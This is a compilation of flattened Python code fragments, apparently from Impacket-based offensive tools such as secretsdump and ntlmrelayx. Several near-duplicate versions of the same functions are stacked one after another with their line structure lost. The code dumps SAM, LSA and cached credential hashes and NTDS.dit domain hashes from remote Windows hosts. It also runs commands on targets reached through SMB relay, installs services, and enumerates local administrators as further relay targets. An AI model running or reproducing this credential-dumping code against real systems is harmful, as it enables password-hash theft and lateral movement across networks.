def sam(self): self.enable_remoteops() host_id = self.db.get_computers(filterTerm=self.host)[0][0] def add_sam_hash(sam_hash, host_id): add_sam_hash.sam_hashes += 1 self.logger.highlight(sam_hash) username,_,lmhash,nthash,_,_,_ = sam_hash.split(':') self.db.add_credential('hash', self.hostname, username, ':'.join((lmhash, nthash)), pillaged_from=host_id) add_sam_hash.sam_hashes = 0 if self.remote_ops and self.bootkey: #try: SAMFileName = self.remote_ops.saveSAM() SAM = SAMHashes(SAMFileName, self.bootkey, isRemote=True, perSecretCallback=lambda secret: add_sam_hash(secret, host_id)) self.logger.success('Dumping SAM hashes') SAM.dump() SAM.export(self.output_filename) self.logger.success('Added {} SAM hashes to the database'.format(highlight(add_sam_hash.sam_hashes))) #except Exception as e: #self.logger.error('SAM hashes extraction failed: {}'.format(e)) try: self.remote_ops.finish() except Exception as e: logging.debug("Error calling remote_ops.finish(): {}".format(e)) SAM.finish()
def sam(self): def add_sam_hash(sam_hash, host): self.logger.success([self.host, self.ip, "SAM HASH", sam_hash]) username, _, lmhash, nthash, _, _, _ = sam_hash.split(':') self.db.update_user(username, '', host, "{}:{}".format(lmhash, nthash)) add_sam_hash.added_to_db += 1 try: # Output File file_name = '{}_{}'.format(self.host.lower(), get_filestamp()) outfile = os.path.join(os.path.expanduser('~'), '.ar3', 'workspaces', self.args.workspace, file_name) add_sam_hash.added_to_db = 0 self.enable_remoteops() if self.remote_ops and self.bootkey: SAMFileName = self.remote_ops.saveSAM() SAM = SAMHashes(SAMFileName, self.bootkey, isRemote=True, perSecretCallback=lambda secret: add_sam_hash(secret, self.host)) SAM.dump() SAM.export(outfile) except Exception as e: self.logger.debug('SAM Extraction Failed for {}: {}'.format(self.host, str(e))) if add_sam_hash.added_to_db > 0: self.logger.success([self.host, self.ip, "SAM HASH", '{} hashes added to the database'.format(add_sam_hash.added_to_db)]) self.logger.info([self.host, self.ip, "SAM HASH", 'Output saved to: {}.sam'.format(outfile)]) try: self.remote_ops.finish() except Exception as e: self.logger.debug(["SAM", "Error calling remote_ops.finish(): {}".format(e)]) SAM.finish()
def run(self): # Here PUT YOUR CODE! if self.tcpshell is not None: logging.info( 'Started interactive SMB client shell via TCP on 127.0.0.1:%d' % self.tcpshell.port) #Start listening and launch interactive shell self.tcpshell.listen() self.shell = MiniImpacketShell(self.__SMBConnection, self.tcpshell.socketfile) self.shell.cmdloop() return if self.config.exeFile is not None: result = self.installService.install() if result is True: logging.info("Service Installed.. CONNECT!") self.installService.uninstall() else: from impacket.examples.secretsdump import RemoteOperations, SAMHashes samHashes = None try: # We have to add some flags just in case the original client did not # Why? needed for avoiding INVALID_PARAMETER flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags( ) flags2 |= smb.SMB.FLAGS2_LONG_NAMES self.__SMBConnection.getSMBServer().set_flags(flags2=flags2) remoteOps = RemoteOperations(self.__SMBConnection, False) remoteOps.enableRegistry() except Exception, e: # Something wen't wrong, most probably we don't have access as admin. aborting logging.error(str(e)) return try: if self.config.command is not None: remoteOps._RemoteOperations__executeRemote( self.config.command) logging.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost()) self.__answerTMP = '' self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer) self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output') print self.__answerTMP.decode(self.config.encoding, 'replace') else: bootKey = remoteOps.getBootKey() remoteOps._RemoteOperations__serviceDeleted = True samFileName = remoteOps.saveSAM() samHashes = SAMHashes(samFileName, bootKey, isRemote=True) samHashes.dump() samHashes.export(self.__SMBConnection.getRemoteHost() + '_samhashes') logging.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost()) except Exception, e: logging.error(str(e))
def run(self): # Here PUT YOUR CODE! if self.tcpshell is not None: logging.info("Started interactive SMB client shell via TCP on 127.0.0.1:%d" % self.tcpshell.port) # Start listening and launch interactive shell self.tcpshell.listen() self.shell = MiniImpacketShell(self.__SMBConnection, self.tcpshell.socketfile) self.shell.cmdloop() return if self.config.exeFile is not None: result = self.installService.install() if result is True: logging.info("Service Installed.. CONNECT!") self.installService.uninstall() else: from impacket.examples.secretsdump import RemoteOperations, SAMHashes samHashes = None try: # We have to add some flags just in case the original client did not # Why? needed for avoiding INVALID_PARAMETER flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags() flags2 |= smb.SMB.FLAGS2_LONG_NAMES self.__SMBConnection.getSMBServer().set_flags(flags2=flags2) remoteOps = RemoteOperations(self.__SMBConnection, False) remoteOps.enableRegistry() except Exception, e: # Something wen't wrong, most probably we don't have access as admin. aborting logging.error(str(e)) return try: if self.config.command is not None: remoteOps._RemoteOperations__executeRemote(self.config.command) logging.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost()) self.__answerTMP = "" self.__SMBConnection.getFile("ADMIN$", "Temp\\__output", self.__answer) self.__SMBConnection.deleteFile("ADMIN$", "Temp\\__output") else: bootKey = remoteOps.getBootKey() remoteOps._RemoteOperations__serviceDeleted = True samFileName = remoteOps.saveSAM() samHashes = SAMHashes(samFileName, bootKey, isRemote=True) samHashes.dump() samHashes.export(self.__SMBConnection.getRemoteHost() + "_samhashes") logging.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost()) except Exception, e: logging.error(str(e))
class DumpSecrets: def __init__(self, remoteName, username='', password='', domain='', options=None): self.__useVSSMethod = options.use_vss self.__remoteName = remoteName self.__remoteHost = options.target_ip self.__username = username self.__password = password self.__domain = domain self.__lmhash = '' self.__nthash = '' self.__aesKey = options.aesKey self.__smbConnection = None self.__remoteOps = None self.__SAMHashes = None self.__NTDSHashes = None self.__LSASecrets = None self.__systemHive = options.system self.__bootkey = options.bootkey self.__securityHive = options.security self.__samHive = options.sam self.__ntdsFile = options.ntds self.__history = options.history self.__noLMHash = True self.__isRemote = True self.__outputFileName = options.outputfile self.__doKerberos = options.k self.__justDC = options.just_dc self.__justDCNTLM = options.just_dc_ntlm self.__justUser = options.just_dc_user self.__pwdLastSet = options.pwd_last_set self.__printUserStatus = options.user_status self.__resumeFileName = options.resumefile self.__canProcessSAMLSA = True self.__kdcHost = options.dc_ip self.__options = options if options.hashes is not None: self.__lmhash, self.__nthash = options.hashes.split(':') def connect(self): self.__smbConnection = SMBConnection(self.__remoteName, self.__remoteHost) if self.__doKerberos: self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, self.__kdcHost) else: self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) def dump(self): try: if self.__remoteName.upper() == 'LOCAL' and self.__username == '': self.__isRemote = False self.__useVSSMethod = True if self.__systemHive: localOperations = LocalOperations(self.__systemHive) bootKey = localOperations.getBootKey() if self.__ntdsFile is not None: # Let's grab target's configuration about LM Hashes storage self.__noLMHash = localOperations.checkNoLMHashPolicy() else: import binascii bootKey = binascii.unhexlify(self.__bootkey) else: self.__isRemote = True bootKey = None try: try: self.connect() except Exception as e: if os.getenv( 'KRB5CCNAME' ) is not None and self.__doKerberos is True: # SMBConnection failed. That might be because there was no way to log into the # target system. We just have a last resort. Hope we have tickets cached and that they # will work logging.debug( 'SMBConnection didn\'t work, hoping Kerberos will help (%s)' % str(e)) pass else: raise self.__remoteOps = RemoteOperations( self.__smbConnection, self.__doKerberos, self.__kdcHost) self.__remoteOps.setExecMethod(self.__options.exec_method) if self.__justDC is False and self.__justDCNTLM is False or self.__useVSSMethod is True: self.__remoteOps.enableRegistry() bootKey = self.__remoteOps.getBootKey() # Let's check whether target system stores LM Hashes self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy( ) except Exception as e: self.__canProcessSAMLSA = False if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \ and self.__doKerberos is True: # Giving some hints here when SPN target name validation is set to something different to Off # This will prevent establishing SMB connections using TGS for SPNs different to cifs/ logging.error( 'Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user' ) else: logging.error('RemoteOperations failed: %s' % str(e)) # If RemoteOperations succeeded, then we can extract SAM and LSA if self.__justDC is False and self.__justDCNTLM is False and self.__canProcessSAMLSA: try: if self.__isRemote is True: SAMFileName = self.__remoteOps.saveSAM() else: SAMFileName = self.__samHive self.__SAMHashes = SAMHashes(SAMFileName, bootKey, isRemote=self.__isRemote) self.__SAMHashes.dump() if self.__outputFileName is not None: self.__SAMHashes.export(self.__outputFileName) except Exception as e: logging.error('SAM hashes extraction failed: %s' % str(e)) try: if self.__isRemote is True: SECURITYFileName = self.__remoteOps.saveSECURITY() else: SECURITYFileName = self.__securityHive self.__LSASecrets = LSASecrets(SECURITYFileName, bootKey, self.__remoteOps, isRemote=self.__isRemote, history=self.__history) self.__LSASecrets.dumpCachedHashes() if self.__outputFileName is not None: self.__LSASecrets.exportCached(self.__outputFileName) self.__LSASecrets.dumpSecrets() if self.__outputFileName is not None: self.__LSASecrets.exportSecrets(self.__outputFileName) except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error('LSA hashes extraction failed: %s' % str(e)) # NTDS Extraction we can try regardless of RemoteOperations failing. It might still work if self.__isRemote is True: if self.__useVSSMethod and self.__remoteOps is not None: NTDSFileName = self.__remoteOps.saveNTDS() else: NTDSFileName = None else: NTDSFileName = self.__ntdsFile self.__NTDSHashes = NTDSHashes( NTDSFileName, bootKey, isRemote=self.__isRemote, history=self.__history, noLMHash=self.__noLMHash, remoteOps=self.__remoteOps, useVSSMethod=self.__useVSSMethod, justNTLM=self.__justDCNTLM, pwdLastSet=self.__pwdLastSet, resumeSession=self.__resumeFileName, outputFileName=self.__outputFileName, justUser=self.__justUser, printUserStatus=self.__printUserStatus) try: self.__NTDSHashes.dump() except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0: # We don't store the resume file if this error happened, since this error is related to lack # of enough privileges to access DRSUAPI. resumeFile = self.__NTDSHashes.getResumeSessionFile() if resumeFile is not None: os.unlink(resumeFile) logging.error(e) if self.__justUser and str(e).find( "ERROR_DS_NAME_ERROR_NOT_UNIQUE") >= 0: logging.info( "You just got that error because there might be some duplicates of the same name. " "Try specifying the domain name for the user as well. It is important to specify it " "in the form of NetBIOS domain name/user (e.g. contoso/Administratror)." ) elif self.__useVSSMethod is False: logging.info( 'Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter' ) self.cleanup() except (Exception, KeyboardInterrupt) as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error(e) if self.__NTDSHashes is not None: if isinstance(e, KeyboardInterrupt): while True: answer = input("Delete resume session file? [y/N] ") if answer.upper() == '': answer = 'N' break elif answer.upper() == 'Y': answer = 'Y' break elif answer.upper() == 'N': answer = 'N' break if answer == 'Y': resumeFile = self.__NTDSHashes.getResumeSessionFile() if resumeFile is not None: os.unlink(resumeFile) try: self.cleanup() except: pass def cleanup(self): logging.info('Cleaning up... ') if self.__remoteOps: self.__remoteOps.finish() if self.__SAMHashes: self.__SAMHashes.finish() if self.__LSASecrets: self.__LSASecrets.finish() if self.__NTDSHashes: self.__NTDSHashes.finish()
def run(self): # Here PUT YOUR CODE! if self.tcpshell is not None: LOG.info('Started interactive SMB client shell via TCP on 127.0.0.1:%d' % self.tcpshell.port) #Start listening and launch interactive shell self.tcpshell.listen() self.shell = MiniImpacketShell(self.__SMBConnection, self.tcpshell) self.shell.cmdloop() return if self.config.exeFile is not None: result = self.installService.install() if result is True: LOG.info("Service Installed.. CONNECT!") self.installService.uninstall() else: from impacket.examples.secretsdump import RemoteOperations, SAMHashes from impacket.examples.ntlmrelayx.utils.enum import EnumLocalAdmins samHashes = None try: # We have to add some flags just in case the original client did not # Why? needed for avoiding INVALID_PARAMETER if self.__SMBConnection.getDialect() == smb.SMB_DIALECT: flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags() flags2 |= smb.SMB.FLAGS2_LONG_NAMES self.__SMBConnection.getSMBServer().set_flags(flags2=flags2) remoteOps = RemoteOperations(self.__SMBConnection, False) remoteOps.enableRegistry() except Exception as e: if "rpc_s_access_denied" in str(e): # user doesn't have correct privileges if self.config.enumLocalAdmins: LOG.info("Relayed user doesn't have admin on {}. Attempting to enumerate users who do...".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding))) enumLocalAdmins = EnumLocalAdmins(self.__SMBConnection) try: localAdminSids, localAdminNames = enumLocalAdmins.getLocalAdmins() LOG.info("Host {} has the following local admins (hint: try relaying one of them here...)".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding))) for name in localAdminNames: LOG.info("Host {} local admin member: {} ".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding), name)) except DCERPCException: LOG.info("SAMR access denied") return # Something else went wrong. aborting LOG.error(str(e)) return try: if self.config.command is not None: remoteOps._RemoteOperations__executeRemote(self.config.command) LOG.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost()) self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer) self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output') print(self.__answerTMP.decode(self.config.encoding, 'replace')) else: bootKey = remoteOps.getBootKey() remoteOps._RemoteOperations__serviceDeleted = True samFileName = remoteOps.saveSAM() samHashes = SAMHashes(samFileName, bootKey, isRemote = True) samHashes.dump() samHashes.export(self.__SMBConnection.getRemoteHost()+'_samhashes') LOG.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost()) except Exception as e: LOG.error(str(e)) finally: if samHashes is not None: samHashes.finish() if remoteOps is not None: remoteOps.finish()
class DumpSecrets: def __init__(self, remoteName, username='', password='', domain='', targetip=None, sam='', system='', security='', justdc=True): self.__remoteName = remoteName self.__remoteHost = targetip self.__username = username self.__password = password self.__domain = domain self.__lmhash = '' self.__nthash = '' self.__smbConnection = None self.__remoteOps = None self.__SAMHashes = None self.__NTDSHashes = None self.__LSASecrets = None self.__systemHive = system self.__securityHive = security self.__samHive = sam self.__ntdsFile = None self.__noLMHash = True self.__isRemote = True self.__outputFileName = 'dump' self.__justDC = justdc self.__canProcessSAMLSA = True self.__useVSSMethod = False def connect(self): self.__smbConnection = SMBConnection(self.__remoteName, self.__remoteHost) self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) def dump(self): try: if self.__remoteName.upper() == 'LOCAL' and self.__username == '': self.__isRemote = False self.__useVSSMethod = True if self.__systemHive: localOperations = LocalOperations(self.__systemHive) bootKey = localOperations.getBootKey() else: self.__isRemote = True bootKey = None try: try: self.connect() except Exception as e: raise self.__remoteOps = RemoteOperations( self.__smbConnection, False) self.__remoteOps.setExecMethod(None) if self.__justDC is False or self.__useVSSMethod is True: self.__remoteOps.enableRegistry() bootKey = self.__remoteOps.getBootKey() # Let's check whether target system stores LM Hashes self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy( ) except Exception as e: self.__canProcessSAMLSA = False if str(e).find('STATUS_USER_SESSION_DELETED' ) and os.getenv('KRB5CCNAME') is not None: # Giving some hints here when SPN target name validation is set to something different to Off # This will prevent establishing SMB connections using TGS for SPNs different to cifs/ logging.error( 'Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user' ) else: logging.error('RemoteOperations failed: %s' % str(e)) # If RemoteOperations succeeded, then we can extract SAM and LSA if self.__justDC is False and self.__canProcessSAMLSA: try: if self.__isRemote is True: SAMFileName = self.__remoteOps.saveSAM() else: SAMFileName = self.__samHive self.__SAMHashes = SAMHashes(SAMFileName, bootKey, isRemote=self.__isRemote) self.__SAMHashes.dump() if self.__outputFileName is not None: self.__SAMHashes.export(self.__outputFileName) except Exception as e: logging.error('SAM hashes extraction failed: %s' % str(e)) try: if self.__isRemote is True: SECURITYFileName = self.__remoteOps.saveSECURITY() else: SECURITYFileName = self.__securityHive self.__LSASecrets = LSASecrets(SECURITYFileName, bootKey, self.__remoteOps, isRemote=self.__isRemote) self.__LSASecrets.dumpCachedHashes() if self.__outputFileName is not None: self.__LSASecrets.exportCached(self.__outputFileName) self.__LSASecrets.dumpSecrets() if self.__outputFileName is not None: self.__LSASecrets.exportSecrets(self.__outputFileName) except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error('LSA hashes extraction failed: %s' % str(e)) # NTDS Extraction we can try regardless of RemoteOperations failing. It might still work if self.__isRemote is True: if self.__useVSSMethod and self.__remoteOps is not None: NTDSFileName = self.__remoteOps.saveNTDS() else: NTDSFileName = None else: NTDSFileName = self.__ntdsFile self.__NTDSHashes = NTDSHashes( NTDSFileName, bootKey, isRemote=self.__isRemote, noLMHash=self.__noLMHash, remoteOps=self.__remoteOps, useVSSMethod=self.__useVSSMethod, outputFileName=self.__outputFileName) try: self.__NTDSHashes.dump() except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0: # We don't store the resume file if this error happened, since this error is related to lack # of enough privileges to access DRSUAPI. resumeFile = self.__NTDSHashes.getResumeSessionFile() if resumeFile is not None: os.unlink(resumeFile) logging.error(e) if self.__useVSSMethod is False: logging.info( 'Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter' ) self.cleanup() except (Exception, KeyboardInterrupt) as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error(e) if self.__NTDSHashes is not None: if isinstance(e, KeyboardInterrupt): while True: answer = input("Delete resume session file? [y/N] ") if answer.upper() == '': answer = 'N' break elif answer.upper() == 'Y': answer = 'Y' break elif answer.upper() == 'N': answer = 'N' break if answer == 'Y': resumeFile = self.__NTDSHashes.getResumeSessionFile() if resumeFile is not None: os.unlink(resumeFile) try: self.cleanup() except: pass def cleanup(self): logging.info('Cleaning up... ') if self.__remoteOps: self.__remoteOps.finish() if self.__SAMHashes: self.__SAMHashes.finish() if self.__LSASecrets: self.__LSASecrets.finish() if self.__NTDSHashes: self.__NTDSHashes.finish()
class DumpSecrets: def __init__(self, remoteName, username='', password='', domain='', options=None): self.__useVSSMethod = options.use_vss self.__remoteName = remoteName self.__remoteHost = options.target_ip self.__username = username self.__password = password self.__domain = domain self.__lmhash = '' self.__nthash = '' self.__aesKey = options.aesKey self.__smbConnection = None self.__remoteOps = None self.__SAMHashes = None self.__NTDSHashes = None self.__LSASecrets = None self.__systemHive = options.system self.__bootkey = options.bootkey self.__securityHive = options.security self.__samHive = options.sam self.__ntdsFile = options.ntds self.__history = options.history self.__noLMHash = True self.__isRemote = True self.__outputFileName = options.outputfile self.__doKerberos = options.k self.__justDC = options.just_dc self.__justDCNTLM = options.just_dc_ntlm self.__justUser = options.just_dc_user self.__pwdLastSet = options.pwd_last_set self.__printUserStatus= options.user_status self.__resumeFileName = options.resumefile self.__canProcessSAMLSA = True self.__kdcHost = options.dc_ip self.__options = options if options.hashes is not None: self.__lmhash, self.__nthash = options.hashes.split(':') def connect(self): self.__smbConnection = SMBConnection(self.__remoteName, self.__remoteHost) if self.__doKerberos: self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, self.__kdcHost) else: self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) def dump(self): try: if self.__remoteName.upper() == 'LOCAL' and self.__username == '': self.__isRemote = False self.__useVSSMethod = True if self.__systemHive: localOperations = LocalOperations(self.__systemHive) bootKey = localOperations.getBootKey() if self.__ntdsFile is not None: # Let's grab target's configuration about LM Hashes storage self.__noLMHash = localOperations.checkNoLMHashPolicy() else: import binascii bootKey = binascii.unhexlify(self.__bootkey) else: self.__isRemote = True bootKey = None try: try: self.connect() except Exception as e: if os.getenv('KRB5CCNAME') is not None and self.__doKerberos is True: # SMBConnection failed. That might be because there was no way to log into the # target system. We just have a last resort. Hope we have tickets cached and that they # will work logging.debug('SMBConnection didn\'t work, hoping Kerberos will help (%s)' % str(e)) pass else: raise self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos, self.__kdcHost) self.__remoteOps.setExecMethod(self.__options.exec_method) if self.__justDC is False and self.__justDCNTLM is False or self.__useVSSMethod is True: self.__remoteOps.enableRegistry() bootKey = self.__remoteOps.getBootKey() # Let's check whether target system stores LM Hashes self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy() except Exception as e: self.__canProcessSAMLSA = False if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \ and self.__doKerberos is True: # Giving some hints here when SPN target name validation is set to something different to Off # This will prevent establishing SMB connections using TGS for SPNs different to cifs/ logging.error('Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user') else: logging.error('RemoteOperations failed: %s' % str(e)) # If RemoteOperations succeeded, then we can extract SAM and LSA if self.__justDC is False and self.__justDCNTLM is False and self.__canProcessSAMLSA: try: if self.__isRemote is True: SAMFileName = self.__remoteOps.saveSAM() else: SAMFileName = self.__samHive self.__SAMHashes = SAMHashes(SAMFileName, bootKey, isRemote = self.__isRemote) self.__SAMHashes.dump() if self.__outputFileName is not None: self.__SAMHashes.export(self.__outputFileName) except Exception as e: logging.error('SAM hashes extraction failed: %s' % str(e)) try: if self.__isRemote is True: SECURITYFileName = self.__remoteOps.saveSECURITY() else: SECURITYFileName = self.__securityHive self.__LSASecrets = LSASecrets(SECURITYFileName, bootKey, self.__remoteOps, isRemote=self.__isRemote, history=self.__history) self.__LSASecrets.dumpCachedHashes() if self.__outputFileName is not None: self.__LSASecrets.exportCached(self.__outputFileName) self.__LSASecrets.dumpSecrets() if self.__outputFileName is not None: self.__LSASecrets.exportSecrets(self.__outputFileName) except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error('LSA hashes extraction failed: %s' % str(e)) # NTDS Extraction we can try regardless of RemoteOperations failing. It might still work if self.__isRemote is True: if self.__useVSSMethod and self.__remoteOps is not None: NTDSFileName = self.__remoteOps.saveNTDS() else: NTDSFileName = None else: NTDSFileName = self.__ntdsFile self.__NTDSHashes = NTDSHashes(NTDSFileName, bootKey, isRemote=self.__isRemote, history=self.__history, noLMHash=self.__noLMHash, remoteOps=self.__remoteOps, useVSSMethod=self.__useVSSMethod, justNTLM=self.__justDCNTLM, pwdLastSet=self.__pwdLastSet, resumeSession=self.__resumeFileName, outputFileName=self.__outputFileName, justUser=self.__justUser, printUserStatus= self.__printUserStatus) try: self.__NTDSHashes.dump() except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0: # We don't store the resume file if this error happened, since this error is related to lack # of enough privileges to access DRSUAPI. resumeFile = self.__NTDSHashes.getResumeSessionFile() if resumeFile is not None: os.unlink(resumeFile) logging.error(e) if self.__justUser and str(e).find("ERROR_DS_NAME_ERROR_NOT_UNIQUE") >=0: logging.info("You just got that error because there might be some duplicates of the same name. " "Try specifying the domain name for the user as well. It is important to specify it " "in the form of NetBIOS domain name/user (e.g. contoso/Administratror).") elif self.__useVSSMethod is False: logging.info('Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter') self.cleanup() except (Exception, KeyboardInterrupt) as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error(e) if self.__NTDSHashes is not None: if isinstance(e, KeyboardInterrupt): while True: answer = input("Delete resume session file? [y/N] ") if answer.upper() == '': answer = 'N' break elif answer.upper() == 'Y': answer = 'Y' break elif answer.upper() == 'N': answer = 'N' break if answer == 'Y': resumeFile = self.__NTDSHashes.getResumeSessionFile() if resumeFile is not None: os.unlink(resumeFile) try: self.cleanup() except: pass def cleanup(self): try: logging.info('Cleaning up... ') if self.__remoteOps: self.__remoteOps.finish() if self.__SAMHashes: self.__SAMHashes.finish() if self.__LSASecrets: self.__LSASecrets.finish() if self.__NTDSHashes: self.__NTDSHashes.finish() except Exception as e: if str(e).find('ERROR_DEPENDENT_SERVICES_RUNNING') < 0: raise
def run(self): # Here PUT YOUR CODE! if self.tcpshell is not None: LOG.info('Started interactive SMB client shell via TCP on 127.0.0.1:%d' % self.tcpshell.port) #Start listening and launch interactive shell self.tcpshell.listen() self.shell = MiniImpacketShell(self.__SMBConnection,self.tcpshell.socketfile) self.shell.cmdloop() return if self.config.exeFile is not None: result = self.installService.install() if result is True: LOG.info("Service Installed.. CONNECT!") self.installService.uninstall() else: from impacket.examples.secretsdump import RemoteOperations, SAMHashes from impacket.examples.ntlmrelayx.utils.enum import EnumLocalAdmins samHashes = None try: # We have to add some flags just in case the original client did not # Why? needed for avoiding INVALID_PARAMETER if self.__SMBConnection.getDialect() == smb.SMB_DIALECT: flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags() flags2 |= smb.SMB.FLAGS2_LONG_NAMES self.__SMBConnection.getSMBServer().set_flags(flags2=flags2) remoteOps = RemoteOperations(self.__SMBConnection, False) remoteOps.enableRegistry() except Exception as e: if "rpc_s_access_denied" in str(e): # user doesn't have correct privileges if self.config.enumLocalAdmins: LOG.info("Relayed user doesn't have admin on {}. Attempting to enumerate users who do...".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding))) enumLocalAdmins = EnumLocalAdmins(self.__SMBConnection) try: localAdminSids, localAdminNames = enumLocalAdmins.getLocalAdmins() LOG.info("Host {} has the following local admins (hint: try relaying one of them here...)".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding))) for name in localAdminNames: LOG.info("Host {} local admin member: {} ".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding), name)) except DCERPCException: LOG.info("SAMR access denied") return # Something else went wrong. aborting LOG.error(str(e)) return try: if self.config.command is not None: remoteOps._RemoteOperations__executeRemote(self.config.command) LOG.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost()) self.__answerTMP = '' self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer) self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output') print(self.__answerTMP.decode(self.config.encoding, 'replace')) else: bootKey = remoteOps.getBootKey() remoteOps._RemoteOperations__serviceDeleted = True samFileName = remoteOps.saveSAM() samHashes = SAMHashes(samFileName, bootKey, isRemote = True) samHashes.dump() samHashes.export(self.__SMBConnection.getRemoteHost()+'_samhashes') LOG.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost()) except Exception as e: LOG.error(str(e)) finally: if samHashes is not None: samHashes.finish() if remoteOps is not None: remoteOps.finish()
class DumpSecrets: def __init__(self, remoteName, username='', password='', domain='', options=None): self.__useVSSMethod = False self.__remoteName = 'LOCAL' self.__remoteHost = 'LOCAL' self.__username = None self.__password = None self.__domain = None self.__lmhash = '' self.__nthash = '' self.__aesKey = None self.__smbConnection = None self.__remoteOps = None self.__SAMHashes = None self.__NTDSHashes = None self.__LSASecrets = None self.__systemHive = None self.__bootkey = None self.__securityHive = None self.__samHive = None self.__ntdsFile = None self.__history = None self.__noLMHash = True self.__isRemote = False self.__outputFileName = None self.__doKerberos = None self.__justDC = False self.__justDCNTLM = False self.__justUser = None self.__pwdLastSet = None self.__printUserStatus = None self.__resumeFileName = None self.__canProcessSAMLSA = True self.__kdcHost = None self.__options = options def dump(self, sam, security, system, outfile): #Give proper credit. print(version.BANNER) #Start logger. #logger.init(False) logging.getLogger().setLevel(logging.INFO) self.__outputFileName = outfile # We only do local dumping, so sam, security, system. try: if self.__remoteName.upper( ) == 'LOCAL' and self.__username == None: self.__isRemote = False self.__useVSSMethod = True localOperations = LocalOperations(system) bootKey = localOperations.getBootKey() if self.__justDC is False and self.__justDCNTLM is False and self.__canProcessSAMLSA: try: if self.__isRemote is True: SAMFileName = self.__remoteOps.saveSAM() else: SAMFileName = sam self.__SAMHashes = SAMHashes(SAMFileName, bootKey, isRemote=self.__isRemote) self.__SAMHashes.dump() if self.__outputFileName is not None: self.__SAMHashes.export(self.__outputFileName) except Exception as e: logging.error('SAM hashes extraction failed: %s' % str(e)) try: if self.__isRemote is True: SECURITYFileName = self.__remoteOps.saveSECURITY() else: SECURITYFileName = security self.__LSASecrets = LSASecrets(SECURITYFileName, bootKey, self.__remoteOps, isRemote=self.__isRemote, history=self.__history) self.__LSASecrets.dumpCachedHashes() if self.__outputFileName is not None: self.__LSASecrets.exportCached(self.__outputFileName) self.__LSASecrets.dumpSecrets() if self.__outputFileName is not None: self.__LSASecrets.exportSecrets(self.__outputFileName) except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error('LSA hashes extraction failed: %s' % str(e)) except (Exception, KeyboardInterrupt) as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error(e) if self.__NTDSHashes is not None: if isinstance(e, KeyboardInterrupt): while True: answer = input("Delete resume session file? [y/N] ") if answer.upper() == '': answer = 'N' break elif answer.upper() == 'Y': answer = 'Y' break elif answer.upper() == 'N': answer = 'N' break if answer == 'Y': resumeFile = self.__NTDSHashes.getResumeSessionFile() if resumeFile is not None: os.unlink(resumeFile) try: self.cleanup() except: pass def cleanup(self): logging.info('Cleaning up... ') if self.__remoteOps: self.__remoteOps.finish() if self.__SAMHashes: self.__SAMHashes.finish() if self.__LSASecrets: self.__LSASecrets.finish() if self.__NTDSHashes: self.__NTDSHashes.finish()